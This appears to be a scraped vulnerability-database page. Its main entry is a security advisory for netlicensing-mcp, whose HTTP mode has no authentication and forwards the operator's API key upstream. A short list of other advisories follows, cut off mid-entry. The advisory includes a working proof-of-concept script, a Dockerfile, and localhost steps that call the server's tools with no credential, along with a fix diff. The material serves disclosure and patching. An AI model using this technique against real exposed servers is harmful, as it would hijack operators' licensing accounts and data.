+ return await call_next(request)
+
key = request.headers.get("x-netlicensing-api-key")
if not key:
auth = request.headers.get("authorization")
if auth and auth.lower().startswith("bearer "):
key = auth[7:]
@@
return await call_next(request)
finally:
api_key_ctx.reset(token)
- return await call_next(request)
+ return JSONResponse(
+ {"error": "NetLicensing API key is required for HTTP transport"},
+ status_code=401,
+ )
PoC
Environment requirements:
- Docker (or Python 3.12 with netlicensing-mcp==0.1.5 and mcp client installed)
- Target commit: ef0080c2aebbf4dfbce93a959dd7c1471103c05a
Self-contained Docker reproduction (all-in-one):
# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing
Manual step-by-step reproduction:
# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("MOCK_REQUEST", self.command, self.path,
self.headers.get("Authorization"), flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
asyncio.run(main())
PY
Expected output in Terminal 1:
MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoding the Base64 credential confirms the operator's secret was used:
$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET
Observed evidence from dynamic reproduction (Phase 2):
[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.
Concrete consequences include:
- Confidentiality: enumeration of all products, licenses, licensees, and transactions associated with the operator's account.
- Integrity: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.
- Availability: bulk deletion of products, licenses, or licensees, destroying the operator's licensing configuration.
Who is impacted: Operators who deploy netlicensing-mcp in HTTP transport mode (python3 -m netlicensing_mcp.server http) with NETLICENSING_API_KEY set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
RUN apt-get update && apt-get install -y --no-install-recommends git \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy repo (with .git for hatch-vcs versioning) and PoC script
COPY repo/ /app/repo/
COPY vuln-001/poc.py /app/poc.py
# Install the vulnerable MCP server package and its dependencies
RUN cd /app/repo && pip install --no-cache-dir .
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
CWE-306 — Missing Authentication for Critical Function
Attack scenario:
1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.
2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.
3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.
4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.
5. The upstream NetLicensing REST API receives the operator's credential — attacker
effectively uses the operator's account for all MCP tool invocations.
Expected evidence: mock upstream prints
Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
even though the MCP client sent no credentials.
"""
import asyncio
import base64
import json
import os
import subprocess
import sys
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
# ─── Configuration ────────────────────────────────────────────────────────────
MOCK_PORT = 19090
MCP_PORT = 18181
SERVER_API_KEY = "SERVERSECRET" # simulated operator secret injected via env var
# ─── Mock upstream NetLicensing REST API ─────────────────────────────────────
captured_requests: list[dict] = []
mock_ready = threading.Event()
class MockUpstreamHandler(BaseHTTPRequestHandler):
def _handle(self):
auth = self.headers.get("Authorization", "<none>")
entry = {
"method": self.command,
"path": self.path,
"authorization": auth,
}
captured_requests.append(entry)
print(
f"[MOCK_UPSTREAM] {self.command} {self.path} "
f"Authorization={auth}",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
do_GET = _handle
do_POST = _handle
do_PUT = _handle
def log_message(self, *args):
pass
def _run_mock(port: int) -> None:
srv = HTTPServer(("127.0.0.1", port), MockUpstreamHandler)
mock_ready.set()
srv.serve_forever()
# ─── Helpers ─────────────────────────────────────────────────────────────────
def _decode_basic(header: str) -> str | None:
if not header.startswith("Basic "):
return None
try:
return base64.b64decode(header[6:]).decode()
except Exception:
return None
async def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -> bool:
"""Poll until the MCP /health endpoint responds or timeout."""
import httpx
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
async with httpx.AsyncClient() as c:
r = await c.get(f"http://{host}:{port}/health", timeout=1)
if r.status_code < 500:
return True
except Exception:
pass
await asyncio.sleep(0.4)
return False
# ─── PoC ──────────────────────────────────────────────────────────────────────
async def main() -> None:
# 1. Start mock upstream
t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)
t.start()
mock_ready.wait(timeout=5)
print(f"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}", flush=True)
# 2. Launch vulnerable MCP server in HTTP mode with server-side API key
env = os.environ.copy()
env.update({
"NETLICENSING_API_KEY": SERVER_API_KEY,
"NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
"MCP_HOST": "127.0.0.1",
"MCP_PORT": str(MCP_PORT),
})
proc = subprocess.Popen(
[sys.executable, "-m", "netlicensing_mcp.server", "http"],
env=env,
cwd="/app/repo",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)
ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
if not ready:
# /health may not exist; just wait a fixed time
print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
await asyncio.sleep(5)
if proc.poll() is not None:
_, err = proc.communicate()
print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
sys.exit(1)
print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)
# 3. Attack: connect WITHOUT any API key and invoke a tool
print(
"\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
"with NO client API key ...",
flush=True,
)
try:
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async with streamablehttp_client(
f"http://127.0.0.1:{MCP_PORT}/mcp"
) as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
result = await session.call_tool(
"netlicensing_list_products", {"filter": ""}
)
print(f"[*] Tool call succeeded: {result}", flush=True)
except Exception as exc:
print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
finally:
proc.terminate()
await asyncio.sleep(0.5)
# 4. Evaluate captured evidence
print("\n" + "=" * 70, flush=True)
print("CAPTURED UPSTREAM REQUESTS:", flush=True)
for req in captured_requests:
print(f" {req['method']} {req['path']}", flush=True)
print(f" Authorization: {req['authorization']}", flush=True)
decoded = _decode_basic(req["authorization"])
if decoded:
print(f" Decoded: {decoded}", flush=True)
print("=" * 70, flush=True)
# 5. Verdict
server_key_leaked = any(
SERVER_API_KEY in (_decode_basic(r["authorization"]) or "")
for r in captured_requests
)
if server_key_leaked:
print(
f"\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to "
f"forward its own NETLICENSING_API_KEY='{SERVER_API_KEY}' to the upstream "
f"NetLicensing API. CWE-306 / VULN-001 reproduced.",
flush=True,
)
sys.exit(0)
elif not captured_requests:
print(
"\n[FAIL] No upstream requests captured — the MCP tool call did not "
"reach the upstream API.",
flush=True,
)
sys.exit(2)
else:
print(
"\n[FAIL] Upstream requests captured but server API key not found in "
"Authorization headers.",
flush=True,
)
sys.exit(2)
if __name__ == "__main__":
asyncio.run(main())
Severity
8.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.5"
},
"package": {
"ecosystem": "PyPI",
"name": "netlicensing-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54446"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:47:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\n\n### Summary\n\nWhen `netlicensing-mcp` is run in HTTP transport mode, the `ApiKeyMiddleware` fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (`server.py:1427`). The downstream HTTP client then falls back to the server operator\u0027s `NETLICENSING_API_KEY` environment variable (`client.py:30`) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool \u2014 including product listing, license creation/modification, and destructive delete operations \u2014 entirely under the operator\u0027s identity and account quota. CVSS 3.1 Base Score: **8.1 (High)**.\n\n### Details\n\nThe HTTP transport is started in `src/netlicensing_mcp/server.py` around line 1430 via `mcp.streamable_http_app()`, and `ApiKeyMiddleware` is registered immediately after (line 1431). The middleware implementation (lines 1412\u20131427) attempts to extract a per-request API key from either the `x-netlicensing-api-key` header or the `?apikey=` query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls `return await call_next(request)` (line 1427), passing the unauthenticated request downstream.\n\nThe downstream client module (`src/netlicensing_mcp/client.py`) uses a Python `ContextVar` named `api_key_ctx` with a default of `os.getenv(\"NETLICENSING_API_KEY\", \"\")` (line 30). Because the middleware never sets this context variable for unauthenticated requests, `api_key_ctx.get()` returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (`lines 62\u201370`) and transmits it to the upstream NetLicensing REST API on every request (`lines 105, 109`).\n\nThe complete exploitable data flow is:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `server.py:1430` | HTTP app created with `mcp.streamable_http_app()` |\n| 2 | `server.py:1431` | `ApiKeyMiddleware` registered |\n| 3 | `server.py:1412\u20131419` | Middleware attempts (optional) key extraction from headers/query |\n| 4 | `server.py:1427` | **Auth bypass sink**: missing key \u2192 `return await call_next(request)` |\n| 5 | `server.py:155\u2013163` | Unauthenticated caller invokes `netlicensing_list_products` (or any tool) |\n| 6 | `tools/products.py:9,17` | Tool delegates to `nl_get(\"/product\", ...)` |\n| 7 | `client.py:30` | **Source**: `api_key_ctx` defaults to `NETLICENSING_API_KEY` env var |\n| 8 | `client.py:62\u201370` | `Authorization: Basic base64(\"apiKey:\u003ckey\u003e\")` constructed |\n| 9 | `client.py:105,109` | **Upstream sink**: `client.get(url, headers=_headers(), ...)` executed |\n\nCritical code excerpts:\n\n```python\n# src/netlicensing_mcp/server.py\n1418: if not key:\n1419: key = request.query_params.get(\"apikey\")\n1421: if key:\n1422: token = api_key_ctx.set(key)\n ...\n1427: return await call_next(request) # \u003c-- no rejection when key is absent\n```\n\n```python\n# src/netlicensing_mcp/client.py\n30: \"api_key\", default=os.getenv(\"NETLICENSING_API_KEY\", \"\") # server-side fallback\n...\n64: auth_str = f\"apiKey:{api_key}\"\n70: \"Authorization\": f\"Basic {token}\",\n...\n109: r = await client.get(url, headers=_headers(), params=params or {})\n```\n\nThe README (`README.md:90\u201394`) documents the HTTP mode deployment pattern with `-e NETLICENSING_API_KEY=your_key` as a first-class production deployment option, including AWS App Runner / ELB examples (`README.md:310\u2013318`). The per-client key recommendation (`README.md:318`) is advisory only and is not technically enforced.\n\nA suggested patch replaces the unconditional pass-through with a `401` rejection:\n\n```diff\n--- a/src/netlicensing_mcp/server.py\n+++ b/src/netlicensing_mcp/server.py\n@@\n class ApiKeyMiddleware(BaseHTTPMiddleware):\n async def dispatch(self, request: Request, call_next):\n+ if request.url.path == \"/health\":\n+ return await call_next(request)\n+\n key = request.headers.get(\"x-netlicensing-api-key\")\n if not key:\n auth = request.headers.get(\"authorization\")\n if auth and auth.lower().startswith(\"bearer \"):\n key = auth[7:]\n@@\n return await call_next(request)\n finally:\n api_key_ctx.reset(token)\n- return await call_next(request)\n+ return JSONResponse(\n+ {\"error\": \"NetLicensing API key is required for HTTP transport\"},\n+ status_code=401,\n+ )\n```\n\n### PoC\n\n**Environment requirements:**\n- Docker (or Python 3.12 with `netlicensing-mcp==0.1.5` and `mcp` client installed)\n- Target commit: `ef0080c2aebbf4dfbce93a959dd7c1471103c05a`\n\n**Self-contained Docker reproduction (all-in-one):**\n\n```\n# Build the image from the repository root\ndocker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .\n\n# Run the PoC \u2014 exits 0 on confirmed exploit\ndocker run --rm --network=host vuln-001-netlicensing\n```\n\n**Manual step-by-step reproduction:**\n\n```\n# Terminal 1 \u2014 mock upstream NetLicensing REST API\npython3 - \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n print(\"MOCK_REQUEST\", self.command, self.path,\n self.headers.get(\"Authorization\"), flush=True)\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n def log_message(self, *args): pass\nHTTPServer((\"127.0.0.1\", 19090), H).serve_forever()\nPY\n\n# Terminal 2 \u2014 vulnerable MCP server in HTTP mode with a server-side API key\nNETLICENSING_API_KEY=SERVERSECRET \\\nNETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \\\nMCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \\\npython3 -m netlicensing_mcp.server http\n\n# Terminal 3 \u2014 attacker: connect with NO API key and invoke a tool\npython3 - \u003c\u003c\u0027PY\u0027\nimport asyncio\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\nasync def main():\n async with streamablehttp_client(\"http://127.0.0.1:18181/mcp\") as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n print(await session.call_tool(\"netlicensing_list_products\", {\"filter\": \"\"}))\n\nasyncio.run(main())\nPY\n```\n\n**Expected output in Terminal 1:**\n\n```\nMOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n```\n\nDecoding the Base64 credential confirms the operator\u0027s secret was used:\n\n```\n$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d\napiKey:SERVERSECRET\n```\n\n**Observed evidence from dynamic reproduction (Phase 2):**\n\n```\n[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\nDecoded: apiKey:SERVERSECRET\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own\nNETLICENSING_API_KEY=\u0027SERVERSECRET\u0027 to the upstream NetLicensing API.\nCWE-306 / VULN-001 reproduced.\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any network-reachable attacker who can send HTTP requests to the `/mcp` endpoint can invoke the full set of MCP tools \u2014 including read, create, update, and delete operations \u2014 without supplying any credential. The attacker\u0027s requests are transparently executed under the server operator\u0027s NetLicensing account.\n\nConcrete consequences include:\n\n- **Confidentiality**: enumeration of all products, licenses, licensees, and transactions associated with the operator\u0027s account.\n- **Integrity**: creation of new licenses or licensees, modification of existing license parameters, and forging token-based validations.\n- **Availability**: bulk deletion of products, licenses, or licensees, destroying the operator\u0027s licensing configuration.\n\n**Who is impacted**: Operators who deploy `netlicensing-mcp` in HTTP transport mode (`python3 -m netlicensing_mcp.server http`) with `NETLICENSING_API_KEY` set as a server-side environment variable and expose the service on a network-reachable interface. This deployment pattern is officially documented in the project README for remote/shared and cloud deployments.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends git \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy repo (with .git for hatch-vcs versioning) and PoC script\nCOPY repo/ /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\n\n# Install the vulnerable MCP server package and its dependencies\nRUN cd /app/repo \u0026\u0026 pip install --no-cache-dir .\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode\nCWE-306 \u2014 Missing Authentication for Critical Function\n\nAttack scenario:\n 1. Operator runs MCP server in HTTP mode with NETLICENSING_API_KEY set server-side.\n 2. Attacker connects to /mcp endpoint supplying NO API key whatsoever.\n 3. ApiKeyMiddleware (server.py:1427) passes the request through unconditionally.\n 4. Downstream client.py:30 falls back to the server-env NETLICENSING_API_KEY.\n 5. The upstream NetLicensing REST API receives the operator\u0027s credential \u2014 attacker\n effectively uses the operator\u0027s account for all MCP tool invocations.\n\nExpected evidence: mock upstream prints\n Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==\n Decoded: apiKey:SERVERSECRET\neven though the MCP client sent no credentials.\n\"\"\"\n\nimport asyncio\nimport base64\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# \u2500\u2500\u2500 Configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nMOCK_PORT = 19090\nMCP_PORT = 18181\nSERVER_API_KEY = \"SERVERSECRET\" # simulated operator secret injected via env var\n\n# \u2500\u2500\u2500 Mock upstream NetLicensing REST API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ncaptured_requests: list[dict] = []\nmock_ready = threading.Event()\n\n\nclass MockUpstreamHandler(BaseHTTPRequestHandler):\n def _handle(self):\n auth = self.headers.get(\"Authorization\", \"\u003cnone\u003e\")\n entry = {\n \"method\": self.command,\n \"path\": self.path,\n \"authorization\": auth,\n }\n captured_requests.append(entry)\n print(\n f\"[MOCK_UPSTREAM] {self.command} {self.path} \"\n f\"Authorization={auth}\",\n flush=True,\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/json\")\n self.end_headers()\n self.wfile.write(json.dumps({\"items\": {\"item\": []}}).encode())\n\n do_GET = _handle\n do_POST = _handle\n do_PUT = _handle\n\n def log_message(self, *args):\n pass\n\n\ndef _run_mock(port: int) -\u003e None:\n srv = HTTPServer((\"127.0.0.1\", port), MockUpstreamHandler)\n mock_ready.set()\n srv.serve_forever()\n\n\n# \u2500\u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef _decode_basic(header: str) -\u003e str | None:\n if not header.startswith(\"Basic \"):\n return None\n try:\n return base64.b64decode(header[6:]).decode()\n except Exception:\n return None\n\n\nasync def _wait_for_mcp(host: str, port: int, timeout: float = 15.0) -\u003e bool:\n \"\"\"Poll until the MCP /health endpoint responds or timeout.\"\"\"\n import httpx\n deadline = time.monotonic() + timeout\n while time.monotonic() \u003c deadline:\n try:\n async with httpx.AsyncClient() as c:\n r = await c.get(f\"http://{host}:{port}/health\", timeout=1)\n if r.status_code \u003c 500:\n return True\n except Exception:\n pass\n await asyncio.sleep(0.4)\n return False\n\n\n# \u2500\u2500\u2500 PoC \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nasync def main() -\u003e None:\n # 1. Start mock upstream\n t = threading.Thread(target=_run_mock, args=(MOCK_PORT,), daemon=True)\n t.start()\n mock_ready.wait(timeout=5)\n print(f\"[*] Mock upstream listening on 127.0.0.1:{MOCK_PORT}\", flush=True)\n\n # 2. Launch vulnerable MCP server in HTTP mode with server-side API key\n env = os.environ.copy()\n env.update({\n \"NETLICENSING_API_KEY\": SERVER_API_KEY,\n \"NETLICENSING_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/core/v2/rest\",\n \"MCP_HOST\": \"127.0.0.1\",\n \"MCP_PORT\": str(MCP_PORT),\n })\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"netlicensing_mcp.server\", \"http\"],\n env=env,\n cwd=\"/app/repo\",\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n print(f\"[*] Vulnerable MCP server started (pid={proc.pid})\", flush=True)\n\n ready = await _wait_for_mcp(\"127.0.0.1\", MCP_PORT, timeout=15)\n if not ready:\n # /health may not exist; just wait a fixed time\n print(\"[*] /health not responding \u2014 waiting 5 s anyway ...\", flush=True)\n await asyncio.sleep(5)\n\n if proc.poll() is not None:\n _, err = proc.communicate()\n print(f\"[!] MCP server exited unexpectedly:\\n{err.decode()}\", flush=True)\n sys.exit(1)\n\n print(f\"[*] MCP server ready on 127.0.0.1:{MCP_PORT}\", flush=True)\n\n # 3. Attack: connect WITHOUT any API key and invoke a tool\n print(\n \"\\n[ATTACK] Sending MCP tool call to netlicensing_list_products \"\n \"with NO client API key ...\",\n flush=True,\n )\n try:\n from mcp import ClientSession\n from mcp.client.streamable_http import streamablehttp_client\n\n async with streamablehttp_client(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\"\n ) as (read, write, _):\n async with ClientSession(read, write) as session:\n await session.initialize()\n result = await session.call_tool(\n \"netlicensing_list_products\", {\"filter\": \"\"}\n )\n print(f\"[*] Tool call succeeded: {result}\", flush=True)\n except Exception as exc:\n print(f\"[*] MCP client exception (may be normal upstream error): {exc}\", flush=True)\n finally:\n proc.terminate()\n await asyncio.sleep(0.5)\n\n # 4. Evaluate captured evidence\n print(\"\\n\" + \"=\" * 70, flush=True)\n print(\"CAPTURED UPSTREAM REQUESTS:\", flush=True)\n for req in captured_requests:\n print(f\" {req[\u0027method\u0027]} {req[\u0027path\u0027]}\", flush=True)\n print(f\" Authorization: {req[\u0027authorization\u0027]}\", flush=True)\n decoded = _decode_basic(req[\"authorization\"])\n if decoded:\n print(f\" Decoded: {decoded}\", flush=True)\n print(\"=\" * 70, flush=True)\n\n # 5. Verdict\n server_key_leaked = any(\n SERVER_API_KEY in (_decode_basic(r[\"authorization\"]) or \"\")\n for r in captured_requests\n )\n\n if server_key_leaked:\n print(\n f\"\\n[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to \"\n f\"forward its own NETLICENSING_API_KEY=\u0027{SERVER_API_KEY}\u0027 to the upstream \"\n f\"NetLicensing API. CWE-306 / VULN-001 reproduced.\",\n flush=True,\n )\n sys.exit(0)\n elif not captured_requests:\n print(\n \"\\n[FAIL] No upstream requests captured \u2014 the MCP tool call did not \"\n \"reach the upstream API.\",\n flush=True,\n )\n sys.exit(2)\n else:\n print(\n \"\\n[FAIL] Upstream requests captured but server API key not found in \"\n \"Authorization headers.\",\n flush=True,\n )\n sys.exit(2)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```",
"id": "GHSA-x9vc-9ffq-p3gj",
"modified": "2026-07-14T20:47:19Z",
"published": "2026-07-14T20:47:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Labs64/NetLicensing-MCP/security/advisories/GHSA-x9vc-9ffq-p3gj"
},
{
"type": "WEB",
"url": "https://github.com/Labs64/NetLicensing-MCP/commit/fbbb1d5ff88eb5400ec933a84e75601ebee48927"
},
{
"type": "PACKAGE",
"url": "https://github.com/Labs64/NetLicensing-MCP"
},
{
"type": "WEB",
"url": "https://github.com/Labs64/NetLicensing-MCP/releases/tag/0.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode"
}
GHSA-XC38-XCG4-VM4H
Vulnerability from github – Published: 2026-01-07 12:31 – Updated: 2026-01-07 12:31
VLAI
Details
Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-31963"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-07T12:17:01Z",
"severity": "LOW"
},
"details": "Improper authentication and missing CSRF protection in the local setup interface component in HCL BigFix IVR version 4.2 allows a local attacker to perform unauthorized configuration changes via unauthenticated administrative configuration requests.",
"id": "GHSA-xc38-xcg4-vm4h",
"modified": "2026-01-07T12:31:23Z",
"published": "2026-01-07T12:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31963"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0127753"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XC4Q-WVJC-4V56
Vulnerability from github – Published: 2024-10-11 15:30 – Updated: 2024-10-11 15:30
VLAI
Details
An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.
Severity
9.6 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-9164"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-11T13:15:17Z",
"severity": "CRITICAL"
},
"details": "An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches.",
"id": "GHSA-xc4q-wvjc-4v56",
"modified": "2024-10-11T15:30:32Z",
"published": "2024-10-11T15:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9164"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2711204"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/493946"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XC58-G4FH-RFXP
Vulnerability from github – Published: 2024-10-23 00:31 – Updated: 2024-10-23 18:33
VLAI
Details
An issue in Casa Systems NTC-221 version 2.0.99.0 and before allows a remote attacker to execute arbitrary code via a crafted payload to the /www/cgi-bin/nas.cgi component.
Severity
9.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-26519"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-22T22:15:04Z",
"severity": "CRITICAL"
},
